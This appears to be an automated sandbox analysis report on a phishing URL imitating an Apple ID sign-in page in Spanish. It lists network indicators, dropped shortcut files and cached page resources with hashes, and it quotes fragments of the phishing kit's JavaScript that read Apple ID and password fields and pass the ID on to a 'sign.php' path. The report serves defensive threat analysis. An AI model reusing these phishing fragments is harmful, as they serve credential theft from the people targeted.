http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript	chromecache_73.2.dr, chromecache_74.2.dr	false	high
https://bugs.webkit.org/show_bug.cgi?id=29084	chromecache_73.2.dr, chromecache_74.2.dr	false	high
https://developer.mozilla.org/en-US/docs/CSS/display	chromecache_73.2.dr, chromecache_74.2.dr	false	high
http://bugs.jquery.com/ticket/13378	chromecache_73.2.dr, chromecache_74.2.dr	false	high
http://dev.w3.org/csswg/cssom/#resolved-values	chromecache_73.2.dr, chromecache_74.2.dr	false	high
http://jsperf.com/thor-indexof-vs-for/5	chromecache_73.2.dr, chromecache_74.2.dr	false	high
https://github.com/jquery/jquery/pull/557)	chromecache_73.2.dr, chromecache_74.2.dr	false	high
https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon	chromecache_73.2.dr, chromecache_74.2.dr	false	high
https://bugzilla.mozilla.org/show_bug.cgi?id=687787	chromecache_73.2.dr, chromecache_74.2.dr	false	high
https://code.google.com/p/chromium/issues/detail?id=229280	chromecache_73.2.dr, chromecache_74.2.dr	false	high
http://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/	chromecache_73.2.dr, chromecache_74.2.dr	false	high
http://www.webtoolkit.info/	chromecache_70.2.dr	false	high
https://github.com/jquery/jquery/pull/764	chromecache_73.2.dr, chromecache_74.2.dr	false	high
https://github.com/jquery/sizzle/pull/225	chromecache_73.2.dr, chromecache_74.2.dr	false	high
https://bugzilla.mozilla.org/show_bug.cgi?id=491668	chromecache_73.2.dr, chromecache_74.2.dr	false	high
http://jquery.com/	chromecache_73.2.dr, chromecache_74.2.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
89.250.71.221	support.rv-rw.com	Netherlands	41349	MVMTECH-ASRU	false
216.58.206.36	www.google.com	United States	15169	GOOGLEUS	false
151.101.130.137	unknown	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false

Private

IP
192.168.2.6
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589715
Start date and time:	2025-01-13 01:38:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://support.rv-rw.com/aU3V88/c1.php
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.win@16/25@12/7
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.18.99, 172.217.23.110, 142.251.168.84, 142.250.184.238, 142.250.186.46, 142.250.184.206, 20.12.23.50, 217.20.57.19, 192.229.221.95, 20.242.39.171, 23.215.17.144, 142.250.185.106, 216.58.206.74, 142.250.185.170, 216.58.212.170, 172.217.16.202, 142.250.186.74, 142.250.185.74, 142.250.186.138, 142.250.185.138, 142.250.74.202, 172.217.23.106, 142.250.184.234, 142.250.186.42, 142.250.185.202, 172.217.18.106, 172.217.18.10, 52.165.164.15, 142.250.186.110, 142.250.185.131, 34.104.35.123, 216.58.206.78, 2.22.50.131, 2.22.50.144, 184.28.90.27, 13.107.246.45
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.afd.azureedge.net, clientservices.googleapis.com, a767.dspw65.akamai.net, d.4.1.9.1.6.7.1.0.0.0.0.0.0.0.0.1.0.0.9.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, appleid.cdn-apple.com, clients2.google.com, redirector.gvt1.com, ocsp.digicert.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, e2885.e9.akamaiedge.net, update.googleapis.com, wu-b-net.trafficmanager.net, appleid.cdn-apple.com.edgekey.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, fe3.delivery.mp.microsoft.com, appleid.cdn-apple.com.akadns.net, edgedl.me.gvt1.com, azureedge-t-prod.trafficmanager.net, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://support.rv-rw.com/aU3V88/c1.php

Simulations

Behavior and APIs

⊘No simulations

Input	Output
URL: https://support.rv-rw.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://support.rv-rw.com
URL: https://support.rv-rw.com/aU3V88/c1.php Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Ingrese su cdigo de desbloqueo", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://support.rv-rw.com/aU3V88/c1.php Model: Joe Sandbox AI	{ "brands": "unknown" }

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Jan 12 23:38:57 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.973899772000984
Encrypted:	false
SSDEEP:	48:8JQdPTnrLHkeidAKZdA19ehwiZUklqehay+3:8JQn/Zy
MD5:	78F565B51B4C6C37DD5364D2DB2B83EC
SHA1:	61DBA5E149B5231B3A45EA8AAF69A257CDAF9540
SHA-256:	B0B03427452763B62F74E53F5C8B5A7C64E2E484F62DEAD157731471B99024FC
SHA-512:	7F895C2CC86876D7A78C7C9B0F7CAA1A5726CA079B3EC0A7BE089CD62649DE339C86E849A18CF48F0018E3454EB0BB0BA5BF426A603B4842095CD43F0BC21FEF
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......Se..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I-Z......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V-Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V-Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V-Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V-Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........U..y.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Jan 12 23:38:57 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9885523646569814
Encrypted:	false
SSDEEP:	48:8hdPTnrLHkeidAKZdA1weh/iZUkAQkqehJy+2:8znF9QYy
MD5:	41A03143FDB057D208B685C858069066
SHA1:	47B95C32E4718079E260A51CFFC2AC2E70DBA98E
SHA-256:	EFF22EA0C7CBE735CA2C8B201DC5048492B5C00F2F3B18BA2554FCA4D991FA29
SHA-512:	47170799072DF4265D76422A8AADD1AE277A26EDD8B79881F21799163BE9413EA9C884140ADECCF2AA82DCBB08BB745F6EEC6CB569E4D14CA379C7D0025FD5A7
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......Se..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I-Z......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V-Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V-Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V-Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V-Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........U..y.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.002616007062528
Encrypted:	false
SSDEEP:	48:8xcdPTnrsHkeidAKZdA14tseh7sFiZUkmgqeh7sfy+BX:8xcngnFy
MD5:	666773D1DA30405E95B8561182771A2C
SHA1:	CD39423470C08AAD355E2A000911DC2BFB3C6B27
SHA-256:	9FE77353228BCA9609A552C6B329261BC74649C35C615871229809C122786FC7
SHA-512:	3E938EC541BF930BEEC9DE4137A8E85D959B3785DDEB82BC27FAF7BE5D6EE66A872C1241DAAF92FDEA8C2B6EF86B055DB3113286677E5701494A782421FA293F
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I-Z......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V-Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V-Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V-Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........U..y.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Jan 12 23:38:57 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9862119881117084
Encrypted:	false
SSDEEP:	48:86dPTnrLHkeidAKZdA1vehDiZUkwqehty+R:8SnGHy
MD5:	1280F5CAD2A1527A6124DE641C891269
SHA1:	AE8A635B7402D19D66E411BBFD29D602D253175C
SHA-256:	154DF2F317F97A4C04770378021F4B748BCE3E79A40844CDA2B383C1E9D41A86
SHA-512:	A43E784E64A4D65FEEBA9185B56C3B2603EAF76F96CBABC8351B224A36BCD719D36DEC4F1EAD0E4E37BE0E2545C76EC62ABC082741A7A940F4A2CA8E0DE1A2CD
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....R..Se..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I-Z......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V-Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V-Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V-Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V-Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........U..y.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Jan 12 23:38:57 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.977470551438494
Encrypted:	false
SSDEEP:	48:8QdPTnrLHkeidAKZdA1hehBiZUk1W1qeh7y+C:8QnG9by
MD5:	A84A0B3E733683D59EA4C899169A9459
SHA1:	62A18B5635B02FB77BC1740B15DCEAD03C0A33FD
SHA-256:	58DE2EE0FDD8726E5863F1C7EE803D9DCFFC98E99DA6E99B824583CA9EF83AA9
SHA-512:	B7E9D154AF153B1BA8E22DA058D918C1B00A5896E923C38BB6E5A3E2481690C97862F7D954799454EB2B1927FA77E663AD2CA638EE318FF6A166438097BF1C8F
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......Se..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I-Z......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V-Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V-Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V-Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V-Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........U..y.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Jan 12 23:38:57 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.987419738097263
Encrypted:	false
SSDEEP:	48:86dPTnrLHkeidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbFy+yT+:8SnYT/TbxWOvTbFy7T
MD5:	0BE56509F6634792543654103BE0D4C1
SHA1:	4318EF42B2A454528FB05E0D029C913750C5F99C
SHA-256:	ED2EF1CDC128E1C58B599E0BF1EC3DBC6FE470DA26930CA370436CEECEFF7B50
SHA-512:	9B164AD503E1A57725225B3B744FF699487045D36711E4F91DD03DE3C55EAEB2D608C438FED8883DBC1767AFA69A3C9B0E2A52F9653EAB45EAB12B7EA90C1C94
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......Se..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I-Z......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V-Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V-Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V-Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V-Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........U..y.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 32 x 32
Category:	downloaded
Size (bytes):	3783
Entropy (8bit):	7.483148009341424
Encrypted:	false
SSDEEP:	96:3wl4ldG+Uf82TtIW/G8+4p2PRIbjGiWBUyL/hsO5Msiun:Al470X2QG8N4EjGioUVO59n
MD5:	3DB24B58DC488B1820ECBD06300F5CEC
SHA1:	2886D696139C36EEDA8DB561B4F178C0876603B5
SHA-256:	FD458F36D73B7D6434326D18C9229DA92384D37303DBDD72FA346597FDE23068
SHA-512:	833FF2B2C88E901CA7796189F0A0B7518DDAE74265ED58F4CD111E4C8F7A3C0A1D4D00408E2033C3968CB811A96A10EFAA4B46B16C33935793091146C7BC9D1E
Malicious:	false
Reputation:	low
URL:	https://support.rv-rw.com/aU3V88/images/ajax-loader.gif
Preview:	GIF89a . ....```...............~~~......................>>>...lll.......VVV......JJJ.................,,,LLL\|\|\|^^^.......................................................................................!..NETSCAPE2.0.....!..Created with ajaxload.info.!.......,.... . ......pH$...Fq.$j.D.@.).......V....K.<....:<$..r......L8!/...BxBnb}E!g....o.r..E.g..^..oWD.c.....JC.g......oqm.o........!.E.....{p~....r...D...#}.M....d......K......r.........o....\|........].q...` 9C.f%.$G.=..}.C..u..-.H..!.......'......O.K"1......5.&{j.T.@.BBo..e...6..<..4C.B?..1..)..G.b.K... .!.......,...........@.pH$"0.AqI.....P.0....*..E...`0x...."........?....(S.i^.m.WB#e{......MJD.e.uj.mVB....{ke......m.D.....t.#.K...E...........................B....t...................A.!.......,...........@.pH$...Bq.."....(.......V....K.@ ...:,<..21s.Z._...A..g.BxB.o..D.g.w^.....d..FgW..oWD.c.......g......o.D.........v..JE..i.n...F..~.."...K...d ....K....X.."ydv..E.....................E`AE........R...JP.\)^..

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (800)
Category:	downloaded
Size (bytes):	4706
Entropy (8bit):	5.144994790579516
Encrypted:	false
SSDEEP:	48:4eBcnArHiLcwqcGLMUEU8cAbeCtuA3DnHHy3ve/lId1V9Qv/tQ8s5vTCf+cGLMu0:4ArDkeCtXz//GjC/m5HyvW97nWPGbUb
MD5:	7BD77193A6494B12C6D71AB96DE66E9B
SHA1:	729B883128EBE1C2512E25806C885747E2627A64
SHA-256:	65E0F349328999BC1378EF1F56486E971C0AAA33BA3E6D353C86F29985D80BA9
SHA-512:	D7A53E37F57EA0A5B8EE7E5DBD924D40DD189F47B75B90678D46040E601C768433285B50F89FF9868350C7BC7BC71AB1EAD35884C57D5D9C65B37B0A52D4452D
Malicious:	false
Reputation:	low
URL:	https://support.rv-rw.com/aU3V88/jss/myscript_ind_fact.js
Preview:	function limpiar_carga() {. $("#carga_envio").css("display", "none"), $("#bt_flec").css("display", "block").}..function submitt() {. $.trim($("#appleId").val().length) > 0 ? $.trim($("#pwd").val().length) > 0 && ($("#carga_envio").css("display", "block"), $("#bt_flec").css("display", "none"), SubmitMe()) : $("#appleId").focus().}..function id_inp(a) {. var b = $("#" + a).val();. b.length > 0 ? ($(".signin-error").addClass("ocult"), $(".signin-error").removeClass("visb")) : ($(".signin-error").addClass("ocult"), $(".signin-error").removeClass("visb")).}..function salwinx() {. var a = $.trim($("#d").val()),. b = $.trim($("#iddapp").val());. window.location = a + "sign.php?reload=3&idname=" + b.}..function forgot() {. top.location.href = "https://idmsa.apple.com/IDMSWebAuth/signin?appIdKey=6f59402f11d3e2234be5b88bf1c96e1e453a875aec205272add55157582a9f61&path=%2F%3Fa%3D1179750425%26s%3D1%26wo%3DMS1BN7QDLY%26pli%3D79013838111353&language=ES-ES".}..function vis_fl

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (540), with CRLF line terminators
Category:	downloaded
Size (bytes):	133797
Entropy (8bit):	4.903952448137914
Encrypted:	false
SSDEEP:	768:03q8agQxE9mjIaHmVdHmV+HmVTHmVDHmVNHmVhJ6Epjr5I7FikBe71UGZ:0zQxYPP7r5I7FikCUk
MD5:	7C74C8CFB91F41722B8495D4B6725C04
SHA1:	937FCD49A74D6176F7CBBCFACE707CA9A9DE448E
SHA-256:	D82A75584E4470E457A57A2A1F96F6D309180E04DA31C164BA42DF533A4881E5
SHA-512:	6A6341BF06E0D71C9660866076B116BB223D6E6462BA744202284EBC73ED80F8863DBEA79FD584A1AB4581AF6BF4E718291BEBD565B5378595BEF0D955348D5A
Malicious:	false
Reputation:	low
URL:	https://support.rv-rw.com/aU3V88/css/appe.css?v=1
Preview:	html {font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;}....body {margin:0;}....article, aside, details, figcaption, figure, footer, header, hgroup, main, menu, nav, section, summary {.. display:block;..}....audio, canvas, progress, video {.. display:inline-block;.. vertical-align:baseline;..}....audio:not([controls]) {.. display:none;.. height:0;..}....[hidden], template {.. display:none;..}....a{.. background-color:transparent;..}....a:active, a:hover {outline:0;}..abbr[title]{border-bottom:1px dotted;}..b, strong {font-weight:bold;}..dfn {font-style:italic;}..h1 {font-size:2em;margin:0.67em 0;}..mark {background:#ff0;color:#000;}..small {font-size:80%;}..sub, sup {font-size:75%;line-height:0;position:relative;vertical-align:baseline;}..sup {top:-0.5em;}..sub {bottom:-0.25em;}..img {border:0;}..svg:not(:root) {overflow:hidden;}..figure {margin:1em 40px;}..hr {box-sizing:content-box;height:0;}..pre {overflow:auto;}....code, kbd, pre,

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	52
Entropy (8bit):	4.462660333975702
Encrypted:	false
SSDEEP:	3:OhG5xCunnVKekuSrIYn:OgLCokPr5
MD5:	0D931CE85BEA237F3A58C4252E4A77CA
SHA1:	1C7E4E13D0FF849BCE9CA33EFC2D95E3160DA475
SHA-256:	0D129697E649B29413707BB804C5C25BE60D0531AE3AAD888C23AFFCBEAC03F7
SHA-512:	B4CCE6E3AAD22D4836AE957E3C5CC3BBE5E3999EE4663F39CE6487896E19C01DE8531093648E9B720964295D9D98340EAF2830EF47377CA92C52B6BB6CE05B70
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISJQmKeffs3HspKhIFDQOnkNMSBQ1p6cC2EgUNQaf_nxIFDdd6aK8=?alt=proto
Preview:	CiQKBw0Dp5DTGgAKBw1p6cC2GgAKBw1Bp/+fGgAKBw3XemivGgA=

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (32407), with CRLF line terminators
Category:	downloaded
Size (bytes):	46808
Entropy (8bit):	5.964674759057105
Encrypted:	false
SSDEEP:	768:f8I5zmboQ1iloyWDXpfIUot+/B5VlnT2Uuf91Uf8O2duzV:f8I5zmbAqywlIrt+/nXn6UuFqXiM
MD5:	DD5433EE58B5738735E0AF203D896D41
SHA1:	3AFF73F1A8C1B028EF17015102883B7B0F000047
SHA-256:	A1D36342AE6A737A337B03B0425FF053E23EA3B485901AC9B89A577DE2D4D36F
SHA-512:	71CD4DA91CC84E614AB13CA27D95AF3607A0FC92CD9EFCF1FBCF67EEE1EE92A63005077E79C86B94607F195F409EE9E5A557CB5B2255BF074E9815C3FBE41F60
Malicious:	false
Reputation:	low
URL:	https://support.rv-rw.com/aU3V88/c1.php
Preview:	<html lang="en"><head>.. <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">.. <link rel="stylesheet" href="css/fonts2.css" type="text/css"> .. <link rel="stylesheet" type="text/css" media="screen" href="css/appe.css?v=1">.. <script type="text/javascript" src="https://appleid.cdn-apple.com/appleauth/static/jsj/N1241477586/common-header.js"></script>....<style type="text/css">.. #idms-close{background-image: url("imagen/error.png");background-repeat: repeat-x;width: 24px;}.. .ocult{display: none !important;}.. .visb{display: block !important;}.. .ap_bor{border-bottom-left-radius: 6px !important;border-bottom-right-radius: 6px !important;}.. .bor{border-bottom: 1px solid rgba(0, 0, 0, 0.3) !important;} .. .visibless{display: block;}.. .no_visibless{display: none;}.. .btn1{display:none;top:45px !important} .. .btn2{ top:3px !important }.. .idms-modal-theme-translucent .icon.idms-modal-i-close {color: rgba(0, 0, 0, 0);}....tk-intro {font-siz

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3108
Entropy (8bit):	5.251190981557009
Encrypted:	false
SSDEEP:	48:3E1CTDGdQzm5e9DjHnb7D4cyrcvR2nOYP28zx7CNlflvAKVnTGAWopyWIv1rDx:3IaDnfHjxrpwRXy1+KtGAWjv
MD5:	9094D8547D9947A29FF7871AD51C7D1D
SHA1:	DED500858E791C145445EEEE579EC2BF0BED3BC2
SHA-256:	422DD27463CB6142DED7FA182CA1C220F463D6B38EC18C44FD1685C3B4F64984
SHA-512:	C12A78C8FAFFC1705BC7CE02B098E55491894D4BF9637E31CD0DA55C016BFAC7003E06CCD56EDBCDB432CC3F7DF08E022915115411F5501C485724E78ED3BC82
Malicious:	false
Reputation:	low
URL:	https://support.rv-rw.com/aU3V88/jss/function.js
